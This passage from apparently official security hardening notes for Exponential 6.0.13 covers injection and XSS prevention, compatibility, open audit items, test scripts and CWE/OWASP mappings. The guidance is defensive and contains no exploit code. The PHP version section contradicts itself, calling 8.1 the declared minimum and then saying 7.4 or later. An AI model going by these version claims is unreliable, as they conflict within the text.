  3. Never interpolate ORDER BY column names from user input without whitelist validation. The preg_match('/^[a-zA-Z0-9_.]+$/', $colName) pattern demonstrated in SEC-02 is the recommended approach.

  4. Consider migrating to parameterised queries where the framework version supports them. PDO prepared statements are immune to SQL injection by design.

OS Command Injection Prevention

  1. Always use escapeshellarg() for individual shell arguments. If building a shell command that includes user-controlled strings, every individual argument must be wrapped in escapeshellarg().

  2. Do not use escapeshellcmd() as a substitute. escapeshellcmd() escapes an entire command string and is not equivalent to per-argument escaping. Misuse of escapeshellcmd() can leave argument-splitting vulnerabilities.

  3. Prefer PHP built-in functions over shell commands where possible. PHP has native gzip compression via the zlib extension (gzopen(), gzread(), gzwrite()). Using PHP built-ins eliminates shell injection risk entirely.

Cross-Site Scripting Prevention

  1. Always apply htmlspecialchars($value, ENT_QUOTES, 'UTF-8') before outputting any user-supplied string in an HTML context. This includes page titles, heading text, attribute values, and any other location where the string will be included in HTML.

  2. Trust your template engine's auto-escaping, but do not rely on it exclusively. The Exponential template engine does provide escaping operators, but values passed through PHP controller code to templates via setTitle(), setVariable(), and similar methods should be escaped at the point of preparation, not assumed to be escaped at the point of rendering.

Backward Compatibility Notes

All seven security fixes are designed to be fully backward compatible:

  • (int) casts on integer IDs have no effect on values that are already integers. Any code that was already passing valid integer role IDs continues to work identically.

  • $db->escapeString() on path strings has no effect on valid path strings, which contain only digits and slashes — characters that escapeString() does not alter.

  • Column whitelist validation (SEC-02) will reject any custom sort column name containing characters outside [a-zA-Z0-9_.]. Any extension or template currently passing such column names would have been producing unsafe SQL. Such code should be reviewed and updated. The failure mode is graceful: invalid sort fields are simply skipped with a debug warning, not a fatal error.

  • escapeshellarg() on email sender (SEC-05) is transparent to the sendmail binary. Email delivery behaviour is unchanged.

  • escapeshellarg() on gzip filename (SEC-06) also fixes a latent functional bug. If any code was previously relying on the broken decompress() implementation (which could not have worked correctly due to the static string bug), that code should be retested. The fixed implementation now correctly decompresses files.

  • htmlspecialchars() on search text (SEC-07) changes the value of the string returned by $Module->getTitle() to be HTML-entity-encoded. Any code rendering this as plain text (rather than in an HTML context) will display entity-encoded strings. This is generally not observable to end users since rendered page titles are always HTML contexts.

PHP Version Compatibility

The security hardening patch set for 6.0.13 does not raise the minimum supported PHP version. The project's declared minimum remains PHP 8.1, as specified in composer.json:

"php": "^8.1 || ^8.2 || ^8.3 || ^8.4 || ^8.5 || ^8.6 || ^8.7 || ^8.8"

Analysis — most modern PHP construct introduced per patched file

Every construct introduced by this patch set was available before PHP 8.1. The table below records the newest PHP language feature used in each changed file, so it is clear exactly how far back each fix would be portable if the minimum were ever lowered.

FileFixNew constructAvailable since
kernel/classes/ezrole.phpSEC-01(int) castPHP 4
kernel/classes/ezcontentobjecttreenode.phpSEC-02preg_match() whitelistPHP 3
kernel/classes/ezcontentobjecttreenode.phpSEC-03$db->escapeString()project API
kernel/classes/ezcontentobjecttreenode.phpSEC-04intval()PHP 4
lib/ezutils/classes/ezsendmailtransport.phpSEC-05escapeshellarg()PHP 4.0.3
lib/ezfile/classes/ezgzipshellcompressionhandler.phpSEC-06escapeshellarg()PHP 4.0.3
kernel/content/search.phpSEC-07htmlspecialchars()PHP 4
kernel/classes/ezorder.phpNUL-04, PHP-01?array nullable type hint; required-to-optional parameter defaultPHP 7.1
kernel/classes/datatypes/eztime/eztimetype.phpPHP-02[] short array destructuring ([ $a, $b ] = ...)PHP 7.1
All other null-guard / isset files (NUL, UND, LOG, KNT, SET, IMP)variousnull checks, isset(), early returnPHP 4

Most modern construct across the entire patch set: PHP 7.1 (?array nullable type hint in ezorder.php; short array destructuring in eztimetype.php).

Since the project requires PHP 7.4 or later (8.1 when this was written; 7.4 usable without support from 6.0.15), which is above PHP 7.1, there is zero impact on the declared minimum and zero impact on any supported installation.

PHP 8.4 deprecation fixes — do they require PHP 8.4?

The two commits tagged PHP84 (ezorder.php, eztimetype.php) fix PHP 8.4 deprecation warnings. This could cause confusion:

  • The fixes suppress a deprecation triggered only on PHP 8.4+ — they do not require PHP 8.4.
  • Both fixes use PHP 7.1 syntax (nullable type hints, short array destructuring).
  • The fixed code runs identically on PHP 8.1, 8.2, and 8.3 — the deprecation simply never fires on those versions.
  • Installations still running PHP 8.1, 8.2, or 8.3 benefit from the defensive null guards (NUL-04, NUL-05) added in the same commits, even though the deprecation behaviour they address is not present on those versions.

Summary

QuestionAnswer
Does the patch set raise the PHP minimum?No
What is the current declared minimum?PHP 8.1 (composer.json)
What is the oldest PHP the patches are syntactically compatible with?PHP 7.1
Are PHP 8.4-specific features used anywhere in the patch set?No — only PHP 7.1 constructs
Can existing PHP 8.1/8.2/8.3 installations apply this patch set without issues?Yes, fully

Open Items and Pending Work

The following items were identified during the security audit session and remain open for follow-up in a future release:

RefPriorityDescription
OPEN-01HIGHDB schema audit for ezrssexportitem.php — The url_id column reference in create() may reference a non-existent column. If the column is absent, INSERT will fail silently. Confirm schema includes this column.
OPEN-02HIGHManual code review of kernel/content/*.php — 12 controller files received null guard and isset fixes during this session. Each change should be manually reviewed before the 6.0.13 release tag is applied.
OPEN-03MEDFunctional test coverage for kernel/content/ patches — The 12 content controller files are currently covered only by syntax lint, not by runtime functional tests.
OPEN-04MEDReflectionMethod::setAccessible() removal — The functional test suite uses this PHP 8.1-deprecated / PHP 8.5-removed method in its preg test helpers. The suite should be updated to call public methods directly.
OPEN-05MEDSQL injection runtime test for ezrole.php — SEC-01 is verified by syntax lint only. A functional test exercising the actual query construction with a malicious ID value would provide stronger assurance.
OPEN-06LOWPDO prepared statement migration — The escapeString() fixes are a correct and sufficient interim measure. Long-term, the platform should migrate to PDO prepared statements which are structurally immune to SQL injection.
OPEN-07LOWExpanded SOAP test coverage — eZSOAPCall, eZSOAPMessage, and eZSOAPFault are not covered by the current functional test suite.
OPEN-08LOWXSS functional test for search.php — SEC-07 is verified by syntax lint only. A test confirming that htmlspecialchars() is applied to a crafted input would provide stronger assurance.

Supporting files

FileDescription
tests/bin/issue_report_2026-02-21.txtper-issue tracking log
tests/bin/ezp_lint_patched.phpPHP syntax validation of the patched files
tests/bin/tests/functional_tests.phpthe 48-test runtime flow suite
tests/bin/ezptestrunner_all_tests.phplint and functional tests in one runner, with an optional report
tests/bin/test_report_2026-02-21.txtthe dated test output

Appendix A: Full Diff Listing

The authoritative diff can be reproduced at any time by running:

# All security-relevant files:
git diff HEAD -- \
  kernel/classes/ezrole.php \
  kernel/classes/ezcontentobjecttreenode.php \
  lib/ezutils/classes/ezsendmailtransport.php \
  lib/ezfile/classes/ezgzipshellcompressionhandler.php \
  kernel/content/search.php

# All patched files (full scope including null guards, PHP 8.4 fixes, etc.):
git diff HEAD -- kernel/classes/ kernel/setup/ kernel/content/ lib/

Key diff excerpts for each security fix are quoted inline in the Detailed Findings and Fixes section above.

Appendix B: Test Script Inventory

ScriptInvocationPurpose
tests/bin/ezp_lint_patched.phpphp tests/bin/ezp_lint_patched.phpPHP syntax lint of 80 patched files
tests/bin/tests/functional_tests.phpphp tests/bin/tests/functional_tests.php [category]48-test runtime flow suite
tests/bin/ezptestrunner_all_tests.phpphp tests/bin/ezptestrunner_all_tests.php [category] [--report]Combined runner; optional dated report

Running the security-only test subset:

php tests/bin/ezptestrunner_all_tests.php security

Running the full suite with a dated report file:

php tests/bin/ezptestrunner_all_tests.php --report
# Output: tests/bin/test_report_2026-02-21.txt

Listing all available functional test categories:

php tests/bin/ezptestrunner_all_tests.php --list-categories
# security  soap  preg  dom  null  array  php84  setup  image

Appendix C: CWE and OWASP Reference Mapping

IssueCWEOWASP Top 10 (2021)OWASP Prevention Reference
SEC-01 SQL InjectionCWE-89A03:2021 InjectionSQL Injection Prevention Cheat Sheet
SEC-02 ORDER BY InjectionCWE-89A03:2021 InjectionSQL Injection Prevention Cheat Sheet — ORDER BY section
SEC-03 LIKE Path InjectionCWE-89A03:2021 InjectionSQL Injection Prevention Cheat Sheet
SEC-04 Node/Path InjectionCWE-89A03:2021 InjectionSQL Injection Prevention Cheat Sheet
SEC-05 Sendmail RCECWE-78A03:2021 InjectionOS Command Injection Defense Cheat Sheet
SEC-06 Gzip Shell InjectionCWE-78A03:2021 InjectionOS Command Injection Defense Cheat Sheet
SEC-07 Reflected XSSCWE-79A03:2021 InjectionXSS Prevention Cheat Sheet

Further reading:

End of document — Exponential 6.0.13 security hardening notes
Prepared 2026-02-21 | Contact: [email protected]

Something wrong on this page? Report an error

Documentation license

This documentation is free documentation, licensed under the GNU Free Documentation License 1.3 or later.

Exponential Copyright © 1998-2026 Exponential Foundation and 7x